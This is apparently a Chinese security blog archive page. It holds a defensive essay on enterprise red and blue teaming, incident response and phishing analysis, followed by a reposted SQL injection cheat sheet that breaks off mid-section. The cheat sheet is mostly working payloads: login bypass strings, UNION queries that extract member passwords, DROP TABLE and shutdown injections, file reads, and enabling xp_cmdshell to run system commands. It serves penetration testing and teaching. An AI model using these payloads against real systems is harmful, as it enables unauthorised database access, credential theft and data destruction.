分类目录归档:集跬步

甲方安全建设的一些思路和思考

0x00 前言

本文主要是介绍一下笔者对于甲方安全能力建设的一些经验,心得和零散的思考。需要特别强调的是不同企业的实际情况不尽相同,本文仅供参考,不具普遍意义。

0x01 Red Teaming

近几年随着Red Team建设的话题越来越流行,不管是甲方或者乙方都在极力的发展自己的Red Teaming能力,尤其是各个乙方都推出了自己的Red Team的服务,如:FireEye(https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/pf/ms/ds-red-team-for-security-operations.pdf),但是最终目的都是为甲方输出检验企业的Detection和Response的能力,找到防御弱点进而优化防御系统和流程。

我们不禁要思考一下,到底什么样的企业才真的需要Red Team?当然,输出安全能力和服务的乙方不在讨论范围内,因为其最终是为了服务和支持甲方。根据我的观察和发现,目前大部分人很容易把Red Team和Penetration Testing弄混或者干脆混为一谈。其实二者有共同点但也有本质上的不同,简单做个比喻就是忍者(隐秘,快速,准确,一击即中)和海盗(强壮,贪婪,可以刚正面,一波高地)的区别,各有侧重和优劣,但侧重点不同,比如,Red Team类似忍者,侧重于精心准备(如:社会工程学等)收集信息进而绕过现有的防御体系(类似于APT)来检验防御和检测能力;而Penetration Testing则如同海盗,侧重于尽可能多地发现应用,系统,网络,设备等的漏洞,并利用其发现更深层或者复杂的漏洞从而来评估风险。所以,答案显而易见,一个企业只有拥有了基本的防御和检测的能力,并需要持续检测和改善这种能力时,Red Team就是很好地选择了。

那么,什么样的Red Team才算合格和有效呢?如前面所说,Red Team如同忍者去做暗杀,既然暗杀那么就需要一个详细的计划,如:目标是什么(暗杀对方头目),手段是什么(前期侦查对方大本营,守卫布局,对方头目的日常习惯和出现的场所,会不会功夫等),如何去执行(选择某个夜黑风高的晚上,众人都准备或者已经睡觉的时候,摸进对方大本营,提前隐藏在对方头目习惯出现的场所,等待其出现,再一刀毙命)。对应到Red Team就是,

1)设置好这次行动目的是模拟偷取公司的客户资料;

2)提前做好侦查看看公司都可能有哪些人会碰到这类数据,有哪些防御检测方式(如:反病毒,入侵检测,流量分析);

3)针对可能接触数据的人员做定向钓鱼攻击或者面对面的社工,安装专门制作的绕杀软的工具,利用常见的社交或者云存储网站来做C2,等待时机控制机器,获取必要的用户凭证,盗取客户资料,销毁痕迹,最终走人。

因此,一个合格的Red Team,需要具备模拟攻击者入侵的各种能力,手段以及假想的目的。想要具备这种能力的一个最简单有效的方法,就是从现有的真实世界里发生的APT攻击活动中抽取TTP来模拟真实的threat actors,分类并总结他们曾今采用的手段,方法,技术和工具,然后加以优化和改进,最终结合每个Red Team活动的假想目的来模拟不同APT组织对于公司的入侵,以此来检测已有的防御和响应体系是否有效。

0x02 Blue Teaming

我们在说Blue Team时,通常是指在一个企业里负责入侵检测和应急响应的团队的统称,一般情况下(尤其是规模较大的企业)会至少细分为以下几个团队:

  • Threat Hunting(入侵检测):主要负责根据已知威胁的TTP(如APT活动)和根据常见入侵活动的行为特征(如批量端口扫描,同一系统账户的短时多次尝试登录,office软件进程的可疑子进程的派生等等)来开发入侵检测规则,或者利用机器学习,深度学习等更高级的数据挖掘技术来研究和分析威胁特征;
  • Incident Response(应急响应):主要负责处理和调查企业的安全事件(如:外部应用系统被入侵,内网主机被入侵,以及由Threat Hunting的规则触发的各类入侵报警等)以及从真实的安全事件中来分析和提取自产的IOC以及最新的威胁特征;
  • Vulnerability Management(漏洞管理):主要负责对企业所有资产(包括应用和原代码)的持续漏洞扫描,追踪,修复以及管理;
  • Threat Intelligence(威胁情报):主要负责追踪和分析外部已知APT活动,地下黑市和深网或暗网里的各种威胁情报信息,并加以分类总结成TTP以及IOC提供给其他团队加以利用和深层分析(如前面提到的Threat Hunting,以及Red Team)。

而且这些子团队都不是独立工作的,其之间都是相互配合和支持的。我们可以举个常见的例子来加以解释一下,比如threat hunting可能会通过已知的规则发现了一个可能的入侵行为;接着incident response迅速跟进进行流量、日志或者取证的分析发现了之前未被识别的威胁特征;然后threat hunting基于该特征开发最新的检测规则,threat intelligence以此进行情报梳理和比对并最终发现这是某个最近比较活跃的APT组织的活动,随后搜集相关TTP反馈给threat hunting;最后,vulnerability management团队扫描企业所有可能存在弱点和受影响资产,追踪和修复。

综上可见,Blue Team不是gank选手,而是讲究的团队合作和相互配合的团战协作,合理的利用和集合各个子团队的优势便可以大大提高入侵检测的准确性和应急响应的快速性。

0x03 应急响应

在开始之前,先谈谈我个人理解的应急响应是什么?顾名思义就是对企业发生的安全事件作出快速应对和及时响应从而减少由于安全事件造成的影响。

一般情况下,任何安全事件的应急响应都可以分为以下几个阶段:

1)Assessment(评估):主要是初步梳理安全事件产生的原因和评估潜在影响范围;

2)Containment(控制):这个阶段主要是快速找到止损/减轻方案(或者是临时应对措施)将事件影响尽可能控制在最小范围内;

3)Eradication(消除):这个阶段是要找到安全事件产生的根本原因并提出和实施根治方案;

4)Recovery(恢复):主要是确保所有受影响的系统或者服务完全恢复到安全状态;

5)Review(总结和审查):这是每个应急响应的最后阶段主要是总结和梳理安全事件处理和响应的整个时间线和应对方案,学习和审查安全事件产生的根本原因并生成知识库以便以后遇到同类安全事件可以快速地找到处理和应对的方法。

为了便于大家更好地理解怎么运用以上这些步骤来帮助我们做好应急响应,以下我以一个企业经常会碰到的钓鱼邮件为案例。比如,我们的企业员工上报了一封钓鱼邮件,那么作为应急响应团队应该怎么做?我们都知道钓鱼邮件是入侵者(APT组织)攻击大型企业的最直接有效的方法。当我们的应急响应人员遇到这样的攻击试图时,

第一步,我们要初步分析钓鱼邮件的攻击方法,通常有:

  • Credential Harvesting:设置一个伪造的邮箱或者系统登录界面(如发送一个诱饵链接或者在邮件里嵌入一个html页面)来盗取有效的用户名和密码;
  • Malware:一般包括两种方式,一是通过附件直接发送恶意文件,二是通过发送链接来诱骗用户点击下载恶意文件。初步分析了攻击方法,我们就需要评估影响,比如,哪些人收到了该邮件,哪些人可能访问了恶意链接,哪些人下载了恶意文件,哪些人执行了恶意文件,哪些数据可能受到影响等等;

第二步,实施控制措施或者减轻方案,如针对通过链接来偷取用户名和密码或者下载第一阶段的恶意文件的域名我们可以实施DNS sinkhole(详情可以参照:https://en.m.wikipedia.org/wiki/DNS_sinkhole),对于利用附件直接发送恶意文件的情况我们可以通过静态或者动态沙箱(例如cuckoo,virustotal等)来分析恶意文件的行为并抽取IOC(可能是后续阶段C2的域名或者IP,亦或者是执行的子命令)实施DNS sinkhole,防火墙IP黑名单,或者终端防安全防护软件添加行为识别特征或者文件hash黑名单等等措施;

第三步,当恶意行为被有效控制后,我们便需要实施清除活动,如:清除所有收到的恶意邮件,对访问过恶意链接并且可能潜在泄露过用户名和密码的用户进行账号重置,对于下载执行过恶意文件或者访问过后续阶段的域名或者IP的用户电脑进行重装等等;

第四步,这个阶段我们需要确保我们在第三步中的所有清除活动按照预期完成,并且所有用户和系统恢复正常使用;

第五步,当一切恢复正常,我们需要对这次的钓鱼邮件事件做复盘分析,如:为什么我们的邮件安全网关没有检测到和拦截这个钓鱼邮件?为什么我们的员工会点击这些钓鱼邮件?我们的防御和检测的漏洞在哪?下次再发生类似事件我们应该怎么办?等这些问题都找到对应的答案了我们则需要录入应急响应知识库以备后用。

综上,一个有效的应急响应是需要一个相对完整的流程来保证,如此一来便可以保证应急时不慌乱有条理且快速有效。

0x04 内网入侵检测与防御

本章节将依据我个人的一些工作经验和思考分别从平台搭建,工具配置,入侵调查与分析三个方面来聊聊企业的内网入侵检测和防御的建设思路。

一、平台篇

通常来说,一个企业要想做好内网检测和防御,首先要解决的问题就是感知能力,这就好比是人的五官要可以感知到周遭环境的变化,那么反映到安全平台上我们就需要一个统一的日志收集和分析平台。那么需要收集哪些日志呢?是所有的都收集吗?还是有选择性地收集?又如何来确定优先级呢?其实日志的收集切忌盲目全收,否则就会浪费了大量的人力物力财力到头来搜集了一堆日志却不知道如何使用。最好是结合应用场景来制定优先级,循序渐进。举个例子,比如当我们的一个应用场景是检测办公网中的入侵行为,我们需要解决的核心问题其实就是谁在什么时间什么机器上运行了什么进程做了什么操作。分解一下这个问题,首先我们需要有日志能帮我们定位每个内网用户,如:DHCP,DNS,Kerberos Tickets(AD认证),Windows Event Logs,Antivirus等;接着我们想要知道什么时间什么机器上运行了什么,如:主机进程树和网络连接日志(即:Event Tracing for Windows)等;最后我们需要知道做了什么操作(网络行为等),如:网络设备出口流量,Web网关日志(HTTP流量),IDS日志,WiFi日志,邮件网关日志等等。这样,我们就能有针对性地收集我们当下最需要的日志并可以利用这种方法来逐步扩大日志收集的种类。

有了统一的日志收集平台,接下来我们便需要一个持续的威胁检测平台其主要作用就是编写各种检测规则和机器学习模型来对所有收集到的日志进行匹配检查以保证之前的已知威胁不会被忽略。

接着,我们需要一个IOC检测平台,其主要作用是用来对外部情报信息或者内部自产的情报信息进行实时匹配和报警以确保当前所有的已知威胁能被检测出来。

最后,我们还需要一个内部威胁追踪和记录平台,其主要作用是用于流程化和规范化地记录和总结所有以往发生的入侵事件的调查过程和分析结果以便于日后查询和关联分析。

总之,安全平台建设是企业内网入侵检测和防御的基础,只有搭建了这些基础平台,才能谈后续的工具配置和入侵分析与调查。

二、工具篇

在上一篇中我们聊到安全平台建设是企业内网入侵检测和防御的基础,在这个基础之上今天我们来聊聊工具配置。简而言之,就是有了感知能力,需要哪些工具来帮助我们分析和调查入侵,所谓工欲善其事必先利其器。

一般来说,最常见的入侵内网的手法就是钓鱼邮件和社工,而其中以钓鱼邮件最为典型,因此做好钓鱼邮件的防范是最为简单有效的防御内网入侵的方法。我之前曾提到过钓鱼邮件的常见手法,

  • 发送链接模拟邮箱或者内部系统登陆界面收集企业员工的账号密码;
  • 发送链接诱导员工点击下载恶意的office文档;
  • 直接发送恶意的office文档或者PE文件或者恶意程序的压缩包作为附件并诱导员工打开。

针对以上几种手法,我们至少准备以下几类工具来辅助分析。
第一类,域名与IP检测工具:

  • https://centralops.net/co/DomainDossier.aspx?dom_whois=1&net_whois=1&dom_dns=1
  • https://www.threatcrowd.org/
  • https://www.threatminer.org/
  • https://www.virustotal.com/en/
  • https://www.talosintelligence.com/
  • https://login.opendns.com/
  • https://www.alexa.com/siteinfo
  • https://x.threatbook.cn/en
  • https://checkphish.ai/domain/avfisher.win

第二类,URL检测工具:

  • https://urlscan.io/
  • https://sitecheck.sucuri.net/results/pool.cortins.tk
  • https://quttera.com/
  • https://www.virustotal.com/en/
  • https://checkphish.ai/

第三类,TOR节点检测工具:

  • https://www.dan.me.uk/torcheck
  • https://exonerator.torproject.org/
  • https://ipduh.com/ip/tor-exit/
  • https://torstatus.blutmagie.de/

第四类,在线恶意程序或文档检测工具:

  • https://www.virustotal.com/en/
  • https://malwr.com/
  • http://camas.comodo.com/
  • https://x.threatbook.cn/en
  • https://www.reverse.it/
  • http://www.threatexpert.com/submit.aspx
  • https://www.vicheck.ca/
  • https://virusshare.com/
  • https://malshare.com/
  • https://github.com/ytisf/theZoo

第五类,动态恶意程序或文档分析工具:

  • Cuckoo: https://github.com/cuckoosandbox/cuckoo
  • Regshot: https://sourceforge.net/projects/regshot/
  • Process Hacker: http://processhacker.sourceforge.net/
  • Process Monitor: https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx
  • ProcDOT: https://www.cert.at/downloads/software/procdot_en.html
  • WinDump: https://www.winpcap.org/windump/
  • Graphviz: http://www.graphviz.org/Download..php
  • Capture-BAT: https://www.honeynet.org/node/315 (x86 environment only)
  • Fakenet: https://sourceforge.net/projects/fakenet/
  • Wireshark: https://www.wireshark.org/#download

第六类,邮件检测工具:

  • http://spf.myisp.ch/

第七类,Google搜索,这也是最简单暴力但却十分有效的工具之一。

在分析内网入侵时合理地使用以上这些工具往往会有事半功倍的效果。另外,作为一个入侵分析和响应工程师切忌在没有网络隔离的情况下在办公电脑上直接访问可疑链接或者分析恶意样本文件。

三、分析篇

在前两篇中,我们分别谈到了企业内网入侵检测和防御所需要的安全平台建设和工具配置,有了这些基础我们便来聊聊如何运用这些已有的平台和工具来分析真实的内网入侵事件。

为了更好的说明这个问题,我将仍以最常见的利用钓鱼邮件入侵企业员工电脑并进而入侵内网为例来说明如何分析这类的入侵事件。为了能够检测和分析这类入侵事件,我们需要有能力获得最原始的钓鱼邮件,这就需要我们从至少以下几个途径来获取:

  • 企业员工主动提交可疑的钓鱼邮件,这就需要员工具备一定的安全意识(安全意识培训的重要性),以及统一的可疑邮件提交平台(需要开发成本)
  • 邮件安全网关,如:Ironport,FireEye Email Security等
  • IOC检测平台,及时检测已知的恶意域名或者IP,可疑的发件人,恶意附件等

当我们拿到了原始的钓鱼邮件,首先需要确保将其转化成EML文本格式(可用工具https://github.com/mvz/msgconvert),接着,我们至少需要从以下几个方面来分析:
1)原始邮件头,包括:From, envelope-from, SPF, client-ip等
1.1)可以通过dig命令,如:dig -t txt baidu.com,来检查邮件是否被spoof了
1.2)对比From和envelope-from是否一致,也是应该判断是否为恶意邮件的有效方法
2)原始邮件正文,包括:域名/IP,URL,附件等
2.1)域名/IP和URL的分析可以使用工具篇里提到的相应工具来分析,判断是否存在multi-stage C&C
2.2)附件的分析也可以使用工具篇里提到的在线/本地恶意程序分析沙箱或者自行逆向分析,进而了解恶意程序的执行逻辑以及对应的IOC(域名,URL,文件,注册表键值,执行的系统命令等)
2.3)利用日志分析平台,查询恶意域名的DNS或者HTTP(S)流量日志,结合主机EDR(Endpoint Detection and Response)终端日志将DNS请求关联到相应的主机进程,如:ETW for Windows,BCC/eBPF for Linux等

2.4)查询触发恶意域名的DNS请求的主机进程的整个进程树,分析malware完整的执行链,例如:outlook.exe -> winword.exe -> cmd.exe -> powershell.exe

2.5)查询所有触发了上述执行链的受感染主机,并重复2.4)的步骤直到没有新的执行链被发现为止

在分析完了以上这些,我们就可以添加对应的防御和检测措施了,例如:
1)通过应急响应章节中提到的DNS Sinkhole来阻断所有恶意域名的DNS请求
2)确保终端反病毒程序可以检测并清理每个阶段的恶意文件
3)添加防火墙规则来阻止内网主机对恶意IP地址的访问
4)隔离重装已经感染的主机进行
5)重置受感染内网用户的登录凭证
6)删除所有企业用户收到的来自同一恶意发送者的邮件
7)将分析得出的IOC添加到IOC检测平台
8)依据已发现的Malware执行链添加新的入侵检测规则

至此,我已简单地介绍了一个相对完整的针对利用钓鱼邮件入侵企业员工电脑并进而入侵内网的入侵事件的分析和防御的方法与流程。

【转载】SQL Injection Cheat Sheet

Original Link: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally
published in 2007 by Ferruh Mavituna on his blog. We have updated it and
moved it over from our CEO’s blog.
Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL
servers. Some of the samples in this sheet might not work in every
situation because real live environments may vary depending on the usage
of parenthesis, different code bases and unexpected, strange and
complex SQL sentences. 

Samples are provided to allow you to get
basic idea of a potential attack and almost every section includes a
brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    2. Inline Comments

    3. Stacking Queries

    4. If Statements

    5. Using Integers
    6. String Operations

    7. Strings without Quotes

    8. String Modification & Related
    9. Union Injections

    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query. 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • — (SM) 
    DROP sampletable;– 

  • # (M) 
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin’–
  • SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’ 
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M) 
    This is a special
    comment syntax for MySQL. It’s perfect for detecting MySQL version. If
    you put a code into this comments it’s going to execute in MySQL only.
    Also you can use this to execute some code only if the server is higher
    than supplied version. 

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /* 
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members —
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10 
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S) 
    SELECT * FROM members; DROP members–

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP; 
To clarify some issues; 
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute a second query in
PHP-MySQL applications or maybe MySQL client supports this, not quite
sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members —
  • SELECT * FROM products WHERE id = 10; DROP members–

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M) 
    SELECT IF(1=1,’true’,’false’)

SQL Server If Statement

  • IF condition true-part ELSE false-part (S) 
    IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END; (O) 
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
    SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE ‘B’END;
If Statement SQL Injection Attack Samples

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S) 
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM) 
    You can  write hex like these; 

    SELECT CHAR(0x66) (S) 
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) 
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up
injections which are not using any quotes, bypass any other black
listing or determine back end database.

String Concatenation

  • + (S) 
    SELECT login + ‘-‘ + password FROM members
  • || (*MO) 
    SELECT login || ‘-‘ || password FROM members

*About MySQL “||”; 
If MySQL is running in ANSI
mode it’s going to work but otherwise MySQL accept it as `logical
operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, …) (M) 
    Concatenate supplied strings. 
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) – Hex Representation of string 
    SELECT 0x457578 
    This will be selected as string in MySQL. 

    In MySQL easy way to generate hex representations of strings use this; 
    SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • Using CONCAT() in MySQL 
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) 
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) 
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O) 
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) 
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) 
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP) 
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

    SELECT ASCII(‘a’)

  • CHAR() (SM) 
    Convert an integer of ASCII. 

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
This will combine results from both news table and members table and return all of them.

Another Example: 
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S) 
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M) 
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin’ —
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–
  • ….
  • Login as different user (SM*) 
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then
compare returned MD5 with supplied password’s MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
results with a known password and MD5 hash of supplied password. In
this case application will compare your password and your supplied MD5
hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin’ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055′
Password :1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based – Find Columns Names

Finding Column Names with HAVING BY – Error Based (S)

In the same order,

  • ‘ HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1–
  • ORDER BY 2–
  • ORDER BY N– so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

    • Be careful in Blind situtaions may you can understand error is
      coming from DB or application itself. Because languages like ASP.NET
      generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ‘ union select sum(columntofind) from users— (S) 
    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ 
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
      null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
      NULL, NULL, NULL, NULL, NULl, NULL–
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 — 
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 –- 
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,’2′,3,NULL WHERE 1=2 –- 
    Error! – Third column is not an integer. … 

    Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS) 
Version of database and more
details for SQL Server. It’s a constant. You can just select it like any
other column, you don’t need to supply table name. Also, you can use
insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function. 
bcp “SELECT * FROM test..foo” queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ — 

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell ‘ping ‘

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages 
    master..sysmessages
  • Linked Servers 
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm 
    SQL Server 2000: masters..sysxlogins 
    SQL Server 2005 : sys.sql_logins 

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite 
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() 
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you’re really pissed off, ‘;shutdown —

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous
stored procedures are disabled in SQL Server 2005. If you have admin
access then you can enable these.

EXEC sp_configure ‘show advanced options’,1 
RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’,1 
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = ‘U’

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST
    … WHERE users NOT IN (‘First User’, ‘Second User’) 
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
  • Using Dirty Tricks 
    SELECT * FROM Product WHERE ID=2 AND
    1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
    sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p
    where p.x=3) as int 

